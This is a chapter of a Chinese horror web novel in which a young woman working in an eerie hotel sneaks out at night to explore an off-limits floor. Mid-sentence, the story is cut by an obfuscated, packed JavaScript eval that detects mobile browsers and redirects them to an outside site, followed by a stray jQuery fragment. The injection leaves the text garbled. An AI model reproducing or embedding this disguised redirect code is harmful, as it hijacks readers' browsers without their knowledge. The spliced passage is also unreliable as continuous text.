恐怖世界里的时间不知道为什么,流逝的飞快,每天好像也没干嘛,眨眨眼睛的功夫,一个星期的时间就过去了。
白天,游客会在导游的带领下,有序的出门游玩,大厅的所有人都会鞠躬,然后目送那面红色的小旗子消失在酒店外的一团浓雾之中。
完成酒店客人七零八碎的要求后,基本已经黄昏,又要迎接归来的游客。
周而复始。
夏星月现在已经很适应酒店的工作了,虽然每天穿着三四厘米的高跟鞋跑来跑去,脚依然会疼的抽筋……
“欢迎回家。”
这天夏星月又和顾临川一起在大堂恭迎游客,四十五度角鞠躬,语气活泼热烈。很好,她已经掌握了如何让自己看起来亲切热情的诀窍了。
想想自己现实生活工作好像都没有对谁这么恭恭敬敬过……
踏着浓雾与露水,红色的旗帜从眼前飘过。
“一天又结束了……”夏星月望着门外的落日,对顾临川道:“诶,时间都过去这么久了,怎么感觉真正的任务还没出现?”
顾临川站直身体,与两位门童将大门关上,夕阳灿烂的光辉被渐渐闭合的门挡在外面。
“可能这一次任务比较简单也说不准,反正静观其变。”
“也对……”夏星月拍拍自己酸楚的腰,兴致勃勃的对顾临川说,“一天天的,累死了,诶,顾临川,我觉得一直这么等下去也不是办法,要不明天那些游客出门咱们也跟上去瞧瞧?都一周了,这岛就这么屁大点地方,他们每天早出晚归,还能把这岛玩出花来?有问题,我感觉,一定有问题!”
顾临川兴致缺缺:“别没事找事了,就按照酒店规矩行事不可以吗?起码咱们现在每天都很安全,没必要非要自己作死。”
他摇摇头,自顾自的走了。
嘿!这人……说的也蛮有道理……夏星月一时间也有些犹豫了,忙完大家又像往常一样一起吃晚饭。
路池坐她右手边,端了一大盘烤肉,疯狂往嘴里塞。
“诶,路池。”夏星月压低声音,偷偷扯了扯路池的衣袖,“别吃啦,你饭桶呀!”
“干嘛!”路池怒目而视,“你最好有重要的事,敢打扰我干饭……”
夏星月忍住翻白眼的冲动:“明天咱们要不要撬个班,一起跟踪一下那些游客……”
路池毫无兴趣:“你吃饱了没事干?多危险!”
无力吐槽!夏星月极力想说服他:“你都不好奇吗?这些人每天离开酒店都干了什么?”
路池用看神经病的眼神看她:“我为什么要好奇,现在每天有吃有喝,还很安全,不是吗?为什么非要去自找危险?”
“这是恐怖世界诶!可怕程度跟原始森林一样,看上去越安静越祥和,就代表越危险越可怕,反而是动静越大越安全才对吧?”
一周了,无事发生,这还不恐怖吗?夏星月都觉得不可思议。
路池一副左耳进右耳出,满不在乎的样子。
“得过且过吧,你想那么多干嘛,我觉得现在挺好的。”
“再说了,那雾里有什么,你知道?我知道?”
“别自寻烦恼了,你看其他人,不都老老实实的待着吗?怎么就你事多呢。”
“我事多?!路池,你个死王八羔子!”她气不过,用手肘捅了捅一边的顾临川:“诶,你来评评理!”
顾临川头也不抬:“你就别自寻烦恼了!”
气死了!这两人顽固的跟石头一样,无论她费多少口舌,完全说不通。
一天本来能和他们两人说上话的时间就很少,好不容易吃饭时间聊上几句,还不欢而散!
胃是情绪器官,一夏星月一肚子闷气无处发泄,只能化悲愤为食欲。
一生气她就忍不住吃更多了。
食欲旺盛,真是一件让人无语又无奈的事情!
她恶狠狠地戳着盘子里的食物,仿佛那是两个冥顽不灵的家伙,恨不得一口一个,将两人通通咬碎!
吃掉,把你们两个讨厌鬼通通吃掉!
“嗝……”放下空荡荡的餐盘时,夏星月忍不住打了个小小的饱嗝。
胃袋被撑得沉甸甸的,很充实,但是心里却空落落的,说不上为什么。
大抵是人终究是群居动物,自己的想法不被同伴认可,还是很难受的。
她看着路池还在那里风卷残云,顾临川则慢条斯理地擦着嘴,一副岁月静好的模样,心里那点被强行压下去的火苗又有点往上窜。
“哼!”她重重地哼了一声,扶着桌子站起来,不知道为什么,一饱了之后,她感觉自己长肉长了七八斤,整个人都肥了一圈一样。
其实一顿两顿的又起什么作用?
莫名其妙的负罪感,也不知道什么时候被驯化的,好像身为女性,多吃几口食物都是很不应该的……
脚上的三四厘米高跟鞋此刻像是刑具,脚趾和脚踝的酸痛感在饱腹后更加清晰,每一步都走得格外辛苦。
“我回房躺着了。”她没什么好气地丢下一句,也不等那两人回应,拖着沉重的步伐,慢慢挪回了自己那个狭窄但还算干净整洁的员工房间。
那两人点点头,面无表情的看着她离开。
夏星月把自己摔进床铺,柔软的床垫承托住疲惫的身体,发出一声满足的轻叹。脚终于解放了!她踢掉那双折磨人的高跟鞋,光脚踩在微凉的地板上,舒服得脚趾都蜷缩了一下。
然而,身体是放松了,脑子里却乱糟糟的。
平静,太平静了。平静的不正常。
脑子很乱,但是线索太少,实在理不出什么头绪。
“不行不行,再躺下去要吐了……”脑袋晕乎乎的,胃里沉甸甸的。
她烦躁地翻了个身,又翻回来,像油锅里的小鱼,来回翻面。
奇怪了,明明身体累得要命,真的很困很困,很像想休息,精神却异常亢奋,恨不得睁眼到天亮,睡意全无。
“不行,不能这么躺着。”夏星月猛地坐起身,揉了揉发胀的肚子,“得动一动,消消食。”
她一骨碌从床上翻下来,光着脚踩在冰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974679|169719||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凉光滑的地板上,打开门。走廊里空无一人,寂寂无声,壁灯散发着昏黄而微弱的光芒,只能照亮一小片区域,更远处则隐没在浓稠的黑暗里。
大厅里的那个巨大的时钟,显示时间是六点过十分,但是早早吃过晚饭的众人早就回房间休息了。
酒店似乎陷入了沉睡,静得可怕,只有她自己的脚步声在空旷的走廊里发出轻微的“嗒、嗒”声,反而衬得这份寂静更加诡异。
她漫无目的地沿着走廊走着,脚底的凉意让她稍微清醒了一点。走着走着,她来到了楼梯间。安全出口的绿色标志在黑暗中幽幽地亮着。电梯就在旁边,但她推开栅栏,走了进去,幽闭空间总给人一种不好的联想,但是天快黑了,为了节约时间,还是坐电梯比较方便。
“咯吱——”电梯的齿轮好像有点生锈,发出刺耳的声音。
3楼…4楼…5楼…
五楼,似乎是客房区域?她之前从未上去过。酒店管理似乎默认他们只在自己负责的区域活动。
电梯停下,她回忆起,来了整整一周,每天都在重复着大厅登记记录客户需求、鞠躬目送客户、完成客户需求、迎接客户、餐厅吃饭、回房睡觉的流程。
机械又无聊!除了第一天参观了一到四楼,她对这座庞大而华丽的酒店其余部分,几乎一无所知。
它像一座巨大又华丽、迷人又沉默的迷宫,而她只是其中一颗按固定路线滚动的小珠子。
白天有工作在身,她做为“服务生”忙的脚不沾地,根本没有时间。但现在,夜深人静……是不是可以……稍微探索一下?
这个想法带着一种隐秘的刺激感,让之前的烦闷烟消云散。顾临川和路池的警告还在耳边,但此刻,她可管不了那么多。
“只是看看……又不做什么……”夏星月心里对自己说,像是在说服自己,又像是在寻求一种冒险的许可。
她的心跳微微加速,有那么点害怕,又有那么点想要打破规则的冲动。
电梯门开了,她毫不犹豫大步踏出来。
走廊很长,很黑,咋一看和楼下没有任何区别,地面铺着厚厚的地毯,深红色,天鹅绒,踩上去悄无声息。墙壁是同样深沉的暗红色壁纸,上面有繁复的花纹,在走廊的壁灯光线昏黄,显得有些压抑。走廊很长,两侧是一扇扇排列整齐,紧闭着的厚重的深色木门,门牌号钉在门上,散发着模糊的金属光泽。
整个楼层安静得可怕,仿佛连空气都凝固了。
夏星月向前走了几步,眼前的景象让她微微一怔。
只见原本模模糊糊的走廊,随着她的脚步,变成了四四方方的马赛克。
?!她不敢置信的揉了揉眼睛,尝试想去推人,可是手在握上门把手的一瞬间,门把手瞬间也变成了马赛克,紧接着,整个门,整堵墙,全部变成了马赛克,她手一捞,捞到硬邦邦的,根本推不开。
刚刚涌起的探险兴奋感瞬间冻结了一半,取而代之的是一种更深的寒意和警惕。
她下意识地后退了半步,心脏在胸腔里沉重地跳动起来。